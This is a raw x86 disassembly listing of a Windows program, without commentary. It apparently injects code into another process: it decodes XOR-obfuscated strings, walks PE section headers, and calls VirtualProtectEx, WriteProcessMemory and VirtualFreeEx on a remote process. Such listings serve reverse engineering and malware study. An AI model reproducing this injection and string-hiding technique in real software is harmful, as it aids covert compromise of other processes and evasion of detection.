mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xa0]
mov dword [ebp - 0xf0], 0xb4ed6eae
mov dword [ebp - 0xec], 0xe61acade
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x250], 0x645299f9
mov dword [ebp - 0x24c], 0xb2dbdfe4
mov eax, dword [ebp - 0x250]
mov ecx, dword [ebp - 0x24c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x248], 0xf86f102
mov dword [ebp - 0x244], 0x8c30ffa4
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x240], 0xfd534f
mov dword [ebp - 0x23c], 0xf5d7340d
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x238], 0x94b045f5
mov dword [ebp - 0x234], 0x887ba29d
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x234]
mov dword [ebp - 0x230], 0x4436fc9e
mov dword [ebp - 0x22c], 0xc6b4ad94
mov dword [ebp - 0x2d0], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x2cc], ecx
mov ecx, dword [ebp - 0x22c]
mov dword [ebp - 0x228], 0x66f29267
mov dword [ebp - 0x224], 0xf81091cb
mov dword [ebp - 0x2c8], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x2c4], ecx
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x220], 0x618d7320
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x21c], 0xf5f7516a
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x21c]
movaps xmm1, xmmword [ebp - 0xa0]
xorps xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x2b4], ecx
mov ecx, esi
mov dword [ebp - 0x2b8], eax
xorps xmm1, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x90], xmm1
call fcn.00404c50
mov dword [ebp - 0x218], 0xd1f704a5
mov esi, eax
mov dword [ebp - 0x214], 0xc93ef0c2
mov ecx, dword [ebp - 0x218]
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x210], 0x878b3da
mov dword [ebp - 0x20c], 0xc6b4adcd
mov ecx, dword [ebp - 0x210]
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x208], 0x94b045f5
mov dword [ebp - 0x204], 0x887ba29d
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x288], 0x4436fc9e
mov dword [ebp - 0x284], 0xc6b4ad94
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 0x284]
movaps xmm1, xmmword [ebp - 0x50]
lea edx, [ebp - 0x50]
mov dword [ebp - 0x1b4], ecx
mov ecx, esi
mov dword [ebp - 0x1b8], eax
xorps xmm1, xmmword [ebp - 0x1c0]
movaps xmmword [ebp - 0x50], xmm1
call fcn.00404c50
mov edx, str.___0x
mov ecx, eax
call fcn.00404c50
mov esi, dword [ebp - 0x15c]
mov ecx, eax
push dword [esi]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, 4
jmp 0x40cc93
test ecx, 0x20000000
jbe 0x40cc93
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edx, [ebp - 0xa0]
mov dword [ebp - 0x258], 0xb4ed6eae
mov dword [ebp - 0x254], 0xe61acade
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x254]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x260], 0x645299f9
mov dword [ebp - 0x25c], 0xb2dbdfe4
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x25c]
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x268], 0xf86f102
mov dword [ebp - 0x264], 0x8c30ffa4
mov eax, dword [ebp - 0x268]
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x270], 0xfd534f
mov dword [ebp - 0x26c], 0xf5d7340d
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x26c]
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x278], 0x94b045f5
mov dword [ebp - 0x274], 0x887ba29d
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x290], 0x4436fc9e
mov dword [ebp - 0x28c], 0xc6b4ad94
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x290]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x28c]
mov dword [ebp - 0x298], 0x66f29267
mov dword [ebp - 0x294], 0xf81091cb
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x298]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x294]
mov dword [ebp - 0x2a0], 0x618d7320
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x29c], 0xf5f7516a
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
movaps xmm1, xmmword [ebp - 0xa0]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0xa0], xmm1
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x164], ecx
mov ecx, esi
mov dword [ebp - 0x168], eax
xorps xmm1, xmmword [ebp - 0x170]
movaps xmmword [ebp - 0x90], xmm1
call fcn.00404c50
mov dword [ebp - 0x200], 0xd1f704a5
mov esi, eax
mov dword [ebp - 0x1fc], 0xcd23e7c2
mov ecx, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1fc]
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0x1f8], 0x162a9dd
mov dword [ebp - 0x1f4], 0x87f1ffcb
mov ecx, dword [ebp - 0x1f8]
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x1f0], 0x66f29223
mov dword [ebp - 0x1ec], 0xf81091cb
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x1ec]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0x1e8], 0x618d7320
mov dword [ebp - 0x1e4], 0xf5f7516a
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0xa4], ecx
lea edx, [ebp - 0xc0]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x1e0], 0x94b045f5
mov dword [ebp - 0x1dc], 0x887ba29d
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x1dc]
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x1d8], 0x4436fc9e
mov dword [ebp - 0x1d4], 0xc6b4ad94
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x1d4]
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x1d0], 0x66f29267
mov dword [ebp - 0x1cc], 0xf81091cb
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x1c8], 0x618d7320
mov dword [ebp - 0x1c4], 0xf5f7516a
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
movaps xmm1, xmmword [ebp - 0xc0]
xorps xmm1, xmmword [ebp - 0x140]
movaps xmmword [ebp - 0xc0], xmm1
movaps xmm1, xmmword [ebp - 0xb0]
mov dword [ebp - 0x124], ecx
mov ecx, esi
mov dword [ebp - 0x128], eax
xorps xmm1, xmmword [ebp - 0x130]
movaps xmmword [ebp - 0xb0], xmm1
call fcn.00404c50
mov edx, str.___0x
mov ecx, eax
call fcn.00404c50
mov esi, dword [ebp - 0x15c]
mov ecx, eax
push dword [esi]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, 0x20
lea ecx, [ebp - 0x24]
push ecx
push eax
push dword [esi]
mov eax, dword [esi + 4]
add eax, dword [ebp - 0xf4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x40cda7
mov dword [ebp - 0x2a8], 0xdbe217b0
mov dword [ebp - 0x2a4], 0xba5882cf
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x280], 0x4436f6aa
mov dword [ebp - 0x27c], 0xc6b4ad94
mov eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 0x27c]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x2e8], 0x94b045f5
mov dword [ebp - 0x2e4], 0x887ba29d
mov eax, dword [ebp - 0x2e8]
mov ecx, dword [ebp - 0x2e4]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0xb8]
xorps xmm1, xmmword [ebp - 0x120]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x24
lea ecx, [ebp - 0xb8]
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
mov dword [ebp - 4], 0xffffffff
call fcn.00402c40
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x30]
movzx eax, word [eax + 6]
inc ecx
add esi, 0x28
mov dword [ebp - 0x30], ecx
cmp ecx, eax
mov dword [ebp - 0x15c], esi
mov eax, dword [ebp - 0xe4]
jne 0x40c670
mov ecx, dword [ebp - 0xe4]
lea eax, [ebp - 0x1c]
push eax
push 2
mov dword [ebp - 0x1c], 0
movzx eax, word [ecx + 0x14]
push dword [eax + ecx + 0x24]
push dword [ebp - 0xf4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x78], 0xb4ed6eae
mov dword [ebp - 0x74], 0xfc14d0cd
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x78], 0x21429ffb
mov dword [ebp - 0x74], 0xa3d98df0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x78], 0x1f80fd0a
mov dword [ebp - 0x74], 0xbf51c1eb
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x78], 0x24df2c65
mov dword [ebp - 0x74], 0xbbb8152b
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x78], 0x9971e345
mov dword [ebp - 0x74], 0x972b0959
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x78], 0x10d31dc2
mov dword [ebp - 0x74], 0x57115c0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x66f29267
mov dword [ebp - 0x74], 0xf81091cb
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x618d7320
mov dword [ebp - 0x74], 0xf5f7516a
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0xd951ba09
mov dword [ebp - 0x74], 0x97533979
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x10d31dc2
mov dword [ebp - 0x74], 0x57115c0
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x16c], ecx
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0x150]
lea edx, [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x164], ecx
mov ecx, esi
mov dword [ebp - 0x168], eax
xorps xmm1, xmmword [ebp - 0x170]
movaps xmmword [ebp - 0x130], xmm1
call fcn.00404c50
mov edx, dword [ebp - 0xe4]
movzx ecx, word [edx + 0x14]
push dword [ecx + edx + 0x24]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [ebp - 0x78], 0xb4ed6eae
mov dword [ebp - 0x74], 0xe115cbfb
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x78], 0x2a5f94ed
mov dword [ebp - 0x74], 0xb6c18df3
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x78], 0xa91b24b
mov dword [ebp - 0x74], 0x9162f0ae
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x78], 0x3ad144e
mov dword [ebp - 0x74], 0x909c321f
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x78], 0xd951ba7d
mov dword [ebp - 0x74], 0x97533979
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x78], 0x10d31dc2
mov dword [ebp - 0x74], 0x57115c0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x66f29267
mov dword [ebp - 0x74], 0xf81091cb
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x618d7320
mov dword [ebp - 0x74], 0xf5f7516a
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x17c], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0xd951ba09
lea edx, [ebp - 0x150]
mov dword [ebp - 0x74], 0x97533979
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x174], ecx
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x78], 0x10d31dc2
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], ecx
mov dword [ebp - 0x74], 0x57115c0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0x150]
xorps xmm1, xmmword [ebp - 0x190]
movaps xmmword [ebp - 0x150], xmm1
movaps xmm1, xmmword [ebp - 0x140]
xorps xmm1, xmmword [ebp - 0x180]
movaps xmmword [ebp - 0x140], xmm1
movaps xmm1, xmmword [ebp - 0x130]
mov dword [ebp - 0x164], ecx
mov ecx, esi
mov dword [ebp - 0x168], eax
xorps xmm1, xmmword [ebp - 0x170]
movaps xmmword [ebp - 0x130], xmm1
call fcn.00404c50
push 0x4088d0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [ebp - 0x194]
push 0
push 0x1000
push dword [ebp - 0x19c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40d2be
mov dword [ebp - 0x78], 0xdbe217b0
mov dword [ebp - 0x74], 0xba5882cf
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x78], 0x4436f6ab
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0xd0]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0xb8]
xorps xmm1, xmmword [ebp - 0x120]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x25
lea ecx, [ebp - 0xb8]
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
mov dword [ebp - 4], 0xffffffff
call fcn.00402c40
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
test eax, eax
jne 0x40d3a7
mov dword [ebp - 0x78], 0xdbe217b0
mov dword [ebp - 0x74], 0xba5882cf
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x78], 0x4436f6a8
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0xb8]
movaps xmm0, xmmword [ebp - 0x120]
xorps xmm0, xmmword [ebp - 0xd0]
push eax
movaps xmmword [ebp - 0xd0], xmm0
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x26
lea ecx, [ebp - 0xb8]
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
mov dword [ebp - 4], 0xffffffff
call fcn.00402c40
push 0x8000
push 0
push dword [ebp - 0x154]
push edi
call esi
test eax, eax
jne 0x40d488
mov dword [ebp - 0x78], 0xdbe217b0
mov dword [ebp - 0x74], 0xba5882cf
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x78], 0x4436f6a9
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0x2e0]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x2e0]
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0x338]
xorps xmm1, xmmword [ebp - 0x120]
push eax
movaps xmmword [ebp - 0x2e0], xmm1
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x27
lea ecx, [ebp - 0x338]
call fcn.00404bc0
lea ecx, [ebp - 0x338]
call fcn.00402c40
mov al, 1
jmp 0x40d795
mov dword [ebp - 0x78], 0xdbe217b0
mov dword [ebp - 0x74], 0xb95882cf
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x78], 0x4436f6a7
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0xd0]
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0xb8]
movaps xmm1, xmmword [ebp - 0x120]
xorps xmm1, xmmword [ebp - 0xd0]
push eax
movaps xmmword [ebp - 0xd0], xmm1
call fcn.00402c90
mov edx, 0xc
mov dword [ebp - 4], 0x1d
lea ecx, [ebp - 0xb8]
call fcn.00404bc0
lea ecx, [ebp - 0xb8]
jmp 0x40b42b
mov dword [ebp - 0x78], 0x94b04fdc
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x114], ecx
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x118], eax
movaps xmm1, xmmword [ebp - 0xd0]
xorps xmm1, xmmword [ebp - 0x120]
movaps xmmword [ebp - 0xd0], xmm1
call fcn.004086e0
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x78], 0xdbe217b0
mov dword [ebp - 0x74], 0xb95882cf
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x78], 0x6c16c6a6
mov dword [ebp - 0x74], 0x83f0e2d7
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x78], 0x66f2b25d
mov dword [ebp - 0x74], 0xf81091cb
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x78], 0x618d7320
mov dword [ebp - 0x74], 0xf5f7516a
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x78], 0x94b045f5
mov dword [ebp - 0x74], 0x887ba29d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], ecx
mov dword [ebp - 0x78], 0x4436fc9e
mov dword [ebp - 0x74], 0xc6b4ad94
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x78], 0x66f29267
mov dword [ebp - 0x74], 0xf81091cb
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], ecx
mov dword [ebp - 0x78], 0x618d7320
mov dword [ebp - 0x74], 0xf5f7516a
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0xa0]
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x124], ecx
xorps xmm1, xmmword [ebp - 0x140]
lea eax, [ebp - 0xb8]
movaps xmmword [ebp - 0xa0], xmm1
lea edx, [ebp - 0xa0]
movaps xmm1, xmmword [ebp - 0x90]
lea ecx, [ebp - 0x1c0]
xorps xmm1, xmmword [ebp - 0x130]
push eax
movaps xmmword [ebp - 0x90], xmm1
call fcn.004037d0
add esp, 4
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x1b
push ecx
mov edx, eax
lea ecx, [ebp - 0x120]
call fcn.00403840
add esp, 4
mov edx, 0xc
mov byte [ebp - 4], 0x1c
mov ecx, eax
call fcn.00404bc0
lea ecx, [ebp - 0x120]
call fcn.00402c40
lea ecx, [ebp - 0x1c0]
call fcn.00402c40
lea ecx, [ebp - 0xb8]
call fcn.00402c40
xor al, al
